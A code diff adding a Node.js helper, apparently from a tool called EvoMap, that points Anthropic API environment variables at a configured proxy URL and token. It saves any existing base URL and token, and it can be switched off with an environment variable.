+
3
+ const { getProxyToken, getProxyUrl } = require('./server/settings');
4
+
5
+ function isDisabled(env = process.env) {
6
+ const raw = String(env.EVOMAP_PROXY_AUTO_INJECT || '').trim().toLowerCase();
7
+ return raw === '0' || raw === 'false' || raw === 'off' || raw === 'none' || raw === 'no';
8
+ }
9
+
10
+ function injectProxyEnv(info = {}, env = process.env) {
11
+ if (isDisabled(env)) {
12
+ return { injected: false, reason: 'disabled' };
13
+ }
14
+
15
+ const useSettingsFallback = env === process.env && info.useSettings !== false;
16
+ const url = String(info.url || (useSettingsFallback ? getProxyUrl() : '') || '').replace(/\/+$/, '');
17
+ const token = String(info.token || (useSettingsFallback ? getProxyToken() : '') || '');
18
+ if (!url || !token) {
19
+ return { injected: false, reason: 'missing_proxy_settings' };
20
+ }
21
+
22
+ const currentBase = String(env.ANTHROPIC_BASE_URL || '').trim().replace(/\/+$/, '');
23
+ if (currentBase && currentBase !== url && !env.EVOMAP_ANTHROPIC_BASE_URL) {
24
+ env.EVOMAP_ANTHROPIC_BASE_URL = currentBase;
25
+ }
26
+ const currentAuthToken = String(env.ANTHROPIC_AUTH_TOKEN || '').trim();
27
+ if (currentAuthToken && currentAuthToken !== token && !env.EVOMAP_ANTHROPIC_AUTH_TOKEN) {
28
+ env.EVOMAP_ANTHROPIC_AUTH_TOKEN = currentAuthToken;
29
+ }
30
+
31
+ env.ANTHROPIC_BASE_URL = url;
32
+ env.ANTHROPIC_AUTH_TOKEN = token;
33
+ env.CUSTOM_API_KEY = token;
34
+ env.EVOMAP_PROXY_URL = url;
35
+ env.EVOMAP_PROXY_AUTO_INJECTED = '1';
36
+
37
+ return {
38
+ injected: true,
39
+ url,
40
+ vars: [
41
+ 'ANTHROPIC_BASE_URL',
42
+ 'ANTHROPIC_AUTH_TOKEN',
43
+ 'CUSTOM_API_KEY',
44
+ 'EVOMAP_PROXY_URL',
45
+ ],
46
+ };
47
+ }
48
+
49
+ module.exports = {
50
+ injectProxyEnv,
51
+ isDisabled,
52
+ };